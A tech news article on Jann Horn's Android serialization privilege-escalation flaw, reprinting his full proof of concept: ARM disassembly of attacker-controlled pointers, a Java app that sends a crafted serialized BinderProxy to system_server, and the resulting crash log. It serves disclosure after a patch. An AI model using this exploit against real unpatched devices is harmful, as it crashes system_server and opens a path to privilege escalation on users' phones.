An oversight by Android creators leaves nearly every Android device made till date vulnerable

An oversight by Android creators leaves nearly every Android device made till date vulnerable

Jann Horn, a researcher has discovered a proof-of-concept of vulnerability in Android that could let a novice attacker attack the system very easily. Apparently, this vulnerability was an oversight by the developers when they were creating the initial version of Android and it never got fixed. After Horn made the loop hole known, Google did release a patch but that is only available in the latest version of Android lollipop 5.0.  This means that every Android under the sun running on Android before lollipop 5.0 is vulnerable to this Privilege Escalation flaw.

Flaw in Serialization

Serialization is a process by which the data of an application is converted into bytes and stored on a physical storage. The reverse, de-serialization is the process of converting this data into matter useful for the app. As you can imagine, this is a very important process for any app, especially for taking backups. “The Android system_service runs under UID 1000 and can change into the context of any app, install new applications with arbitrary permissions, and so on,” explains Horn.

In simple words, Android has no mechanism to verify if the data being fed to it during  de-serialization is coming from a trusted source or not. So an attacker can input his own data into the system by exploiting this loophole. For those of you more technically inclined, ” java.io.ObjectInputStream” in the method which can be exploited.

Motivation

Horn got the idea that such a vulnerability can exist after attending a university talk on vulnerabilities of PHP web applications. He assumed that the developers of Android also must have made the similar blunder and forgotten to keep a security check. Sure enough, his assumptions were proved right when he went back and researched the OS. And thankfully, he decided to inform the Android team about it instead of using it. The developers most probably missed the flaw as it is not something that you actually test for.

The good news is, the flaw cannot be used directly due to Android in-built restrictions on privileges. So an attacker is forced to use another vulnerability before he can use this one. The Android team released a patch for the flaw earlier in November as part of the AOSP (Android Open Source Project) code release. But as we mentioned, this patch is only for Android 5.0 Lollipop. And since the Android environment is so hugely fragmented, we cannot know for sure if the patch will reach any device other than Nexus ones.

Proof of Concept

The entire PoC is given below :

The class android.os.BinderProxy contains a finalize method that calls into
native code. This native code will then use the values of two fields of type
int/long (depends on the Android version), cast them to pointers and follow
them. On Android 4.4.3, this is where one of those pointers ends up. r0
contains the attacker-supplied pointer, and if the attacker can insert data
into the process at a known address, he ends up gaining arbitrary code
execution in system_server:

# attacker controls pointer in r0
0000d1c0 <android::RefBase::decStrong(void const*) const>:
d1c0: b570 push {r4, r5, r6, lr}
d1c2: 4605 mov r5, r0
d1c4: 6844 ldr r4, [r0, #4] # attacker controls r4
d1c6: 460e mov r6, r1
d1c8: 4620 mov r0, r4
d1ca: f7fd e922 blx a410 <android_atomic_dec () plt>
d1ce: 2801 cmp r0, #1
d1d0: d10b bne.n d1ea
<android::RefBase::decStrong(void const*) const+0x2a>
d1d2: 68a0 ldr r0, [r4, #8] # attacker controls r0
d1d4: 4631 mov r1, r6
d1d6: 6803 ldr r3, [r0, #0] # attacker controls r3
d1d8: 68da ldr r2, [r3, #12] # attacker controls r2
d1da: 4790 blx r2 # jump into attacker-controlled r2 pointer

Android does have ASLR, but like all apps, system_server is forked from the
zygote process – in other words, all apps have the same basic memory layout as
system_server and should therefore be able to circumvent system_server’s ASLR.

Here’s my crash PoC code. Put it in an android app, install that app, open it.
If nothing happens, the GC might be taking its time – try doing other stuff or
reopening the PoC app or so. Your device should do something like a reboot
after a few seconds.

===============================================================================
package net.thejh.badserial;

import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import dalvik.system.DexClassLoader;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log;

public class MainActivity extends Activity {
private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote;

public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);

byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) {
data[i] = ‘a’;
data[i+1] = ‘n’;
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);

mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Log.i(“badserial”, “starting… (v3)”);

Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable(“eatthis”, evilProxy);

Class clIUserManager = Class.forName(“android.os.IUserManager”);
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+” inner classes found”);
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) {
clStub = c;
}
}

Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”);
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null);

UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField(“mService”);
fService.setAccessible(true);
Object proxy = fService.get(um);

Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+” inner classes found”);
clProxy = null;
for (Class c: stSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) {
clProxy = c;
}
}

Field fRemote = clProxy.getDeclaredField(“mRemote”);
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);

UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());

Log.i(“badserial”, “waiting for boom here and over in the system service…”);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
===============================================================================
package AAdroid.os;

import java.io.Serializable;

public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}
===============================================================================
This is what you should see in the system log:

F/libc ( 382): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 391 (FinalizerDaemon)
[…]
I/DEBUG ( 47): pid: 382, tid: 391, name: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Resource : Secure List